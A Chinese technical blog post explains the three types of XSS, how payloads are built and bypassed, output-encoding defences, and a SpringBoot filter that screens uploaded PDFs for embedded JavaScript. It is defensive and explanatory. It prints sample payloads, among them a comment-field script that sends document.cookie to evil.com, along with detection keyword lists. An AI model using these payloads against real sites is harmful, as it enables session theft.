
上个月同事跑过来问我“上传个PDF文件到服务器怎么安全扫描报告里报了个XSS漏洞”我说你先把PDF打开看看果不其然那个PDF里被塞了一段脚本下载到本地一打开就弹窗。这个事让我觉得XSS攻击这个话题虽然老但真正做到位的人真不多。很多开发者对XSS的理解停留在“在输入框里过滤一下特殊字符”但真正的XSS攻击核心不在于你怎么过滤而在于浏览器把不可信数据当成了可执行代码。这篇文章我从原理讲起把反射型、存储型、DOM型三种形态拆开再结合SpringBoot项目里全局过滤器处理上传PDF文件这个场景讲讲实际落地时怎么做才能测得出、防得住、不误伤正常业务。1. 先搞清楚XSS的本质数据飞出去了浏览器却以为是代码1.1 一个“借条”被当成了“合同”浏览器怎么就被骗了想象一下你写了一张借条上面写“今借到张三1000元”结果债主拿着这张纸去法院说这是合同法院还真认了。XSS就是这么个逻辑开发者把一段用户输入的数据直接塞进HTML文档浏览器拿到这段数据后正常解析HTML发现里面带着script标签就乖乖当脚本执行了。为什么会这样因为HTML本质上是一种混合文档文本内容和可执行标签放在同一个文档流里浏览器解析HTML的时候会根据标签结构来决定哪部分是文本、哪部分是脚本。问题就出在当你把用户输入的数据拼接到HTML里没有告诉浏览器“这部分是纯文本别执行”浏览器自然就按HTML规则去解析了。具体到代码层面最常见的场景是这样的String keyword request.getParameter(keyword); out.println(div你搜索的关键词是 keyword /div);用户如果提交keywordhello页面正常显示“你搜索的关键词是hello”。但用户提交的是scriptalert(1)/script呢拼出来的HTML就变成了div你搜索的关键词是scriptalert(1)/script/div浏览器解析到script标签直接执行里面的JavaScript。一个alert(1)只是弹窗如果换成读取cookie并发送到攻击者服务器的代码后果就是账号凭证被偷走。1.2 XSS攻击的三要素缺一个都炸不起来我总结过XSS攻击要成立必须具备三个条件不可信数据能够进入应用程序输入点数据被拼接到HTML页面中输出点浏览器解析并执行了拼接后的内容执行环境这三点缺一个攻击都不成立。这里要特别强调一个经常被忽略的点XSS的根因从来不在于“用户输出了坏东西”而在于“输出端没有把数据和代码区分开”。就算用户输入了script只要输出的时候做了正确的转义那它在页面上就只是一行普通文字什么也干不了。说到这我想起一个判断技巧面试或排查问题时先别急着问“输入过滤了吗”先问“输出到底是怎么渲染的”。是直接拼字符串还是用了模板引擎的转义能力是插在HTML标签里还是插在JavaScript字符串里不同的拼接位置逃逸方式完全不同后面的修复方案也不一样。2. 反射型、存储型、DOM型三种形态的触发链路差异2.1 反射型一次请求里打出去的“回声”反射型XSS是初学者最先接触的类型也是最容易理解的。它的特点就是恶意脚本不持久化服务器收到请求后把参数里的内容直接反射回响应页面整个过程就在这一次请求-响应里完成。典型场景是站内搜索、错误提示、URL参数回显。比如上面的搜索例子攻击者构造一个恶意链接https://example.com/search?keywordscriptalert(document.cookie)/script诱导用户点击这个链接浏览器向服务器发请求服务器把keyword参数原样拼到HTML里返回用户的浏览器执行了恶意脚本。注意这里“受害的”是点击链接的那个用户攻击者本人并不会在自己的浏览器里执行这段代码。这里有个实战经验检测反射型XSS最有效的方法是直接在URL参数里塞一个探测payload然后观察响应页面里payload是怎么被渲染的。但要注意——很多后端框架会自动对输出做HTML编码比如Spring Boot的Thymeleaf模板默认就转义这时候你得先确认渲染方式再测不然很容易误报。热搜词里“xss 攻击 反射型”被频繁搜索我估计不少人是做安全测试时遇到了这类问题。反射型XSS之所以常见是因为很多接口设计者只考虑“这个参数要透传回页面”没想过“透传的内容会不会被当脚本执行”。最典型的就是登录失败提示、订单号回显、第三方回调地址。2.2 存储型把炸弹埋在服务器数据库里存储型XSS和反射型最大的区别在于持久化。恶意脚本先被提交到服务器并存储在数据库里然后当其他用户访问包含这段数据的页面时脚本在他们的浏览器里被执行。举个例子一个带评论区功能的博客系统攻击者在评论区提交了这样一段内容scriptfetch(https://evil.com/steal?cookie document.cookie)/script服务器把这段内容存进数据库。之后每个打开这篇文章的读者浏览器都会加载评论区执行这段脚本把读者自己的cookie发送到攻击者的服务器。攻击者只需要提交一次就能大规模窃取访问者的信息所以存储型XSS的危害等级通常是最高的。这类攻击检测时往往不能靠单个请求完成。你需要先“种入”payload然后模拟其他用户访问相关页面去“收割”执行结果。也因为存储型XSS涉及数据落库和再渲染两个环节排查时就要顺着数据流追写入时存的是什么查询后输出时渲染成什么样子中间有没有经过转义处理。2.3 DOM型纯前端自己“玩脱了”DOM型XSS跟前两种有个本质区别恶意脚本不经过服务器整个过程都发生在前端。服务器返回的静态HTML或JS代码本身是干净的但前端脚本在运行时把不可信数据比如URL参数、localStorage里的内容、postMessage收到的消息作为参数通过DOM操作插入到页面里然后被浏览器解析执行。看个最典型的例子var name new URLSearchParams(window.location.search).get(name); document.getElementById(welcome).innerHTML 欢迎你 name;如果URL是https://example.com/?nameimg srcx onerroralert(1)这段代码会直接把img标签写到DOM里onerror事件触发后执行JavaScript。整个过程中服务器什么都没做响应页面里没有任何一段完整的恶意代码所以服务端日志、WAF检测都很难发现。DOM型XSS的检测思路要从“看服务器响应”转为“看前端执行路径”。我常用的方式是逐个排查代码里使用了innerHTML、outerHTML、document.write、eval、setTimeout字符串形式的位置确认这些位置的数据来源有没有经过校验。光靠自动化工具扫DOM型XSS效果很差人工审计为主。2.4 三种类型对比一张表理清关键差异对比项反射型存储型DOM型恶意代码存储位置不存储在URL/请求中服务器数据库不存储在浏览器内存/DOM中数据流向请求参数→服务器→响应页面请求参数→服务器→数据库→响应页面URL参数→前端JS→DOM触发时机用户点击构造的恶意链接任意用户访问包含恶意内容页面用户访问恶意URL且前端代码执行危害范围单个点击用户所有访问页面的用户单个点击用户检测难度低看响应即可发现中需要构造两步请求高服务器响应无痕迹3. 站在攻击视角拆解payload才知道该防什么3.1 经典payload与编码绕过的逻辑很多初级工程师以为“把script标签过滤掉就安全了”结果被各种变种打穿。理解攻击者的payload构造技巧不是为了去攻击别人而是为了设计出真正有效的检测规则。最基础的一类是标签闭合典型场景是用户输入被嵌入到HTML标签属性里input typetext value用户输入的位置如果不过滤攻击者输入scriptalert(1)/script拼出来的结果是input typetext valuescriptalert(1)/script前半段的闭合了原来的value属性和input标签恶意script标签成功“落地”。这种利用方式说明一个问题防御时不能只看有没有过滤script而要看输出上下文里用户数据能逃逸到什么位置。编码绕过同样常见。比如服务端把script里的尖括号替换成空字符串攻击者用双重编码或者大小写混合来绕过——ScRiPt、%3Cscript%3E、lt;scriptgt;HTML实体。这里的关键知识点是数据在不同解析阶段有不同的解码逻辑。URL参数会被URL解码一次HTML拼接处会被HTML解码一次JavaScript字符串里会被JavaScript解码一次。漏洞往往出现在某个环节只过滤了一种编码而浏览器在后续环节完成了另一种解码。这时候防御的思路就清楚了与其试图把所有编码变种都拦干净根本拦不完不如在输出端统一编码让数据在任何情况下都只以纯文本形态出现在页面里。3.2 事件属性和伪协议script之外的两条大路有些人以为过滤了script标签就万事大吉实际上可执行JavaScript的入口远不止这一个。两个最常用的替代路径是事件属性和伪协议。事件属性的原理是HTML标签的很多属性本身就能触发JavaScript。比如img标签img srcx onerroralert(document.cookie)图片加载失败时onerror事件自动触发里面的JavaScript照样执行。类似的还有onload、onclick、onmouseover、onfocus等等。伪协议则是利用浏览器对URL协议的支持常见的有javascript:a hrefjavascript:alert(1)点击我/a iframe srcjavascript:alert(1)/iframe用户点击链接或iframe加载时javascript:后面的代码就会被执行。这类payload往往不需要script标签所以基于“过滤script关键字”的规则全部失效。做过滤器时不能只盯着script事件属性和javascript:协议才是更难缠的部分。3.3 一个安全从业者的自我提醒上面这些内容是把常见payload拆开看了一下目的是帮助大家理解检测规则和防御设计。实际工作中这些知识最大的价值在于当你拿到一份XSS漏洞报告你能快速判断漏洞出在哪个渲染上下文、属于哪种类型、该在哪个环节修复。不要想着拿这些payload去批量测试别人的站点授权范围内做测试没问题出了授权范围就是违法这个边界任何时候都不能破。4. 防御的根本逻辑把“输出”当事故现场来管理4.1 不同上下文用不同的编码策略很多人问XSS防御到底怎么做才最有效我的回答永远是输入校验是辅助输出编码是主角。因为输入是不可穷举的攻击payload千变万化而输出编码只要做对不管输入是什么渲染出来都是纯文本。但“做对”这两个字水很深。同一个数据插到HTML文本节点、标签属性、JavaScript字符串、CSS里需要的编码完全不一样输出上下文编码方式典型示例HTML文本节点HTML实体编码转lt;转gt;div用户数据/divHTML标签属性HTML属性编码同时转义引号input value用户数据JavaScript字符串JavaScript转义\x3c等var name 用户数据;URL参数URL编码?redirect用户数据CSSCSS转义background:url(用户数据)如果搞混了上下文比如明明插在JavaScript字符串里却只做了HTML实体编码攻击者可以用\u003c这种JavaScript转义序列绕过。所以修复XSS漏洞时第一件事就是搞清楚这段数据到底被拼到了哪里。现在的Java开发里如果你用Thymeleaf、Freemarker等模板引擎默认就带转义能力Thymeleaf的th:text会转义th:utext不会Freemarker的#escape或?html可以转义。但很多人图省事直接拼字符串输出HTML片段这就等于裸奔。能用模板引擎的场景建议优先用模板引擎的自动转义减少人为遗漏。4.2 输入校验、HttpOnly、CSP各自的角色输出编码之外还有几道重要防线它们的定位是“纵深防御”。输入校验白名单思维对于有明确格式要求的数据手机号、邮箱、订单号、数字ID用严格的正则白名单校验。但这只能收紧输入范围不能作为XSS的主要防御手段——毕竟评论区、用户昵称这种自由文本不可能限制死格式。HttpOnly标志设置cookie的HttpOnly属性后JavaScript的document.cookie就读不到这个cookie的值。反射型、存储型XSS窃取cookie的核心路径就被堵死了。要注意HttpOnly只针对cookie读取不防XSS本身但能显著降低XSS被利用后的危害。实践上登录态cookie务必加上这个属性。CSP内容安全策略通过HTTP响应头Content-Security-Policy限制页面可以加载和执行的资源来源。比如script-src self表示脚本只能从本站加载内联脚本全部禁止。即使XSS注入成功CSP也能拦住绝大多数外部脚本加载。但CSP的配置要小心上线前一定要好好测试配置太严格容易把正常业务功能搞挂。4.3 从框架层面避免“拼接地狱”说到底XSS的重大隐患往往来自手写拼接HTML。如果项目还在用大量String拼接输出HTML的方式我建议把它列为技术债务重点治理。现代框架提供了各种安全机制比如React的JSX默认转义、Vue的插值表达式默认转义在Spring Boot后端也有Thymeleaf这种自带转义的模板。框架能帮你挡住大部分常规的XSS但前提是别忘了开启和正确使用。以及有些地方框架是明确提示风险的比如React的dangerouslySetInnerHTML、Vue的v-html看到这类API就该明白这里需要你手动保证内容安全。5. SpringBoot全局过滤器处理上传PDF的XSS一个容易被忽视的真实战场5.1 PDF里怎么会藏XSS攻击回到开头的场景上传PDF文件和XSS攻击有什么关系这可能是最多人困惑的地方。首先要明确一个事实PDF文件格式本身支持嵌入JavaScript脚本在PDF阅读器Adobe Reader、Foxit、浏览器内置PDF阅读器等中打开时这些脚本可以被执行。早期的PDF漏洞攻击大多利用阅读器本身的漏洞但即使没有阅读器漏洞PDF里嵌入的JavaScript也可能以“钓鱼弹窗”“自动跳转到恶意网站”等形式出现在用户面前这在安全测试里通常被称为“PDF中的恶意内容”。更隐蔽的一种情况是某些Web应用允许用户上传PDF后在线预览预览功能如果做得很粗糙——比如直接以application/html或text/html方式返回PDF文件内容、或者把PDF当作HTML片段嵌入页面——那么PDF文件里包含的HTML标签和脚本就可能被浏览器解析执行。我曾经遇到过一个小型文档管理系统上传PDF后预览组件直接用iframe加载原始文件如果那个“PDF”其实是个伪装的HTML文件里面的script就能在预览页面的上下文里执行。所以处理上传PDF文件时的XSS攻击本质上有两条防线第一验证文件是不是真正的PDF防止伪装成PDF的HTML文件混进来第二检测PDF内部是否嵌入了恶意JavaScript。5.2 XSSFilter全局过滤器的设计思路在SpringBoot项目中最常见的XSS防御落地方式是写一个全局过滤器Filter对所有请求的输入做检测和清洗。基于OncePerRequestFilter来实现保证一次请求只过滤一次。先看基础的过滤代码结构Component public class XssFilter extends OncePerRequestFilter { Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { // 包装请求使输入流可重复读取 XssHttpServletRequestWrapper xssRequest new XssHttpServletRequestWrapper(request); filterChain.doFilter(xssRequest, response); } }包装器的核心作用是重写getParameter、getParameterValues、getHeader、getInputStream这些读取方法在读取的时候做清洗public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { Override public String getParameter(String name) { String value super.getParameter(name); return cleanXss(value); } Override public ServletInputStream getInputStream() throws IOException { // 读取原始输入流清洗后再包装返回后续业务代码读取的是清洗后的流 String body StreamUtils.copyToString(super.getInputStream(), StandardCharsets.UTF_8); String cleanedBody cleanXss(body); return new ServletInputStream() { // 基于cleanedBody构造新的输入流实现 }; } }这里有个重要问题对于上传PDF这类二进制文件直接用文本方式读取再清洗可能会破坏文件二进制结构。PDF文件内容是二进制与文本混杂的如果全文件做字符串替换等于把文件改坏了。所以设计过滤器时一定要根据Content-Type区分处理路径application/json、text/html、application/x-www-form-urlencoded这些可以做文本清洗application/pdf、image/*、multipart/form-data里的二进制部分要换一套处理逻辑。5.3 处理上传PDF时的三步校验法在过滤器里对上传PDF做XSS处理我用的方案分三步文件头校验、内容关键字检测、黑名单拦截。第一步是文件头校验也就是检查所谓“PDF”文件的前几个字节。真正的PDF文件第一行通常是%PDF-1.x比如%PDF-1.4。在SpringBoot中MultipartFile拿到上传流后读取前5个字节就能判断byte[] header new byte[5]; inputStream.read(header); String headerStr new String(header, StandardCharsets.UTF_8); if (!headerStr.startsWith(%PDF-)) { // 不是合法PDF拒绝或按普通文件类型做XSS检测 }这一步能拦截大量“改后缀名伪装成PDF的HTML/JS文件”因为伪装成PDF的HTML文件文件头是html或者%PDF被刻意伪造的情况极少——真正的攻击者会构造两个文件头但文件头校验加上后续的关键字检测可以让伪造成本大幅提高。第二步是内容关键字检测。PDF中嵌入的JavaScript通常体现在这些关键字上/JavaScriptPDF文档中声明JavaScript对象的标记/JSJavaScript脚本对象的简称/OpenActionPDF打开时自动执行动作的标记/AA附加动作标记可设置在页面打开/关闭时执行在过滤器里可以用字节级别的模式匹配来扫描这些关键字命中就拒绝上传或者转人工审核。这里不建议用正则直接跑大文件几百MB的PDF会把过滤器拖垮更合理的做法是只提取文件前几百KBPDF的结构头部和OpenAction通常出现在文件开头或者配合PDF解析库比如Apache PDFBox来检测。用PDFBox做二次深度检测的示例PDDocument document PDDocument.load(file); ListPDAnnotation annotations document.getPage(0).getAnnotations(); // 遍历注解检测是否有JavaScript类型的动作 PDActionJavaScript jsAction (PDActionJavaScript) action;当然PDFBox解析大文件也需要内存和CPU开销所以我在实际项目中通常把“关键字快速扫描”放在过滤器里做第一道闸门把“PDFBox深度解析”放到异步任务里做第二道检测避免同步拦截上传请求影响用户体验。第三步是黑名单拦截。这一步就是常规的XSS规则针对文件内容里的script、iframe、javascript:、onerror等危险模式做清洗。但要格外注意对PDF文件不要做自动替换清洗因为替换一个字节都可能让PDF损坏、打不开正确的做法是检测到恶意内容后直接拒绝上传或者转人工处理而不是默默修改文件。5.4 实际项目中踩过的坑讲几个我实际调试XssFilter处理PDF上传时踩过的坑希望能帮后来的人少走弯路。坑一输入流被提前读取导致上传文件解析失败。过滤器里处理getInputStream时如果不小心没有重新构造一个可用的输入流返回到Controller层MultipartFile读取时就会报“流已关闭”或者拿到空文件。解决方案就是上面代码里的思路读取完原始流后把清洗后的内容重新包装成ServletInputStream返回。坑二只检测参数不检测请求体。很多人写的过滤器只重写了getParameter但文件上传场景的关键内容是multipart/form-data里的二进制体绕过了请求体清洗等于过滤器白写了。所以过滤器中getInputStream的检测不能省。坑三大小写和编码绕过。PDF里的/JavaScript关键字攻击者可能写成/Javascript或者中间插入空字节/JavaS\0cript简单的contains判断很容易被绕过。建议做规范化处理后再匹配比如把关键字统一转小写、把\0等不可见字符剔除。坑四只过滤上传请求没管响应输出。XSS不是一个单向问题上传的东西即使被存下来了如果后续预览详情页时输出侧没做编码一样会触发XSS。所以全局过滤器管输入的同时响应端的Content-Type设置、模板转义也得配套检查。说回最开始那个场景。我帮同事排查之后那个系统最终落地了“文件头校验关键字扫描异步深度解析”三层防护预览组件也改成了强制以application/pdf方式响应、不在HTML上下文中直接渲染。再跑安全扫描XSS报告就干净了。我个人在实际操作中的体会是处理这类问题时不要一上来就追求“一个过滤器解决所有事情”。XSS防御是个链路问题输入侧把关、输出侧编码、传输侧加CSP和HttpOnly每一层都有它不可替代的职责。搞清楚了XSS的原理再去看那些五花八门的攻击payload和防御手段思路会清晰很多。如果有什么拿不准的场景建议先在自己可控的测试环境里复现一遍再上防御措施这样踩过的坑会变成你最扎实的经验。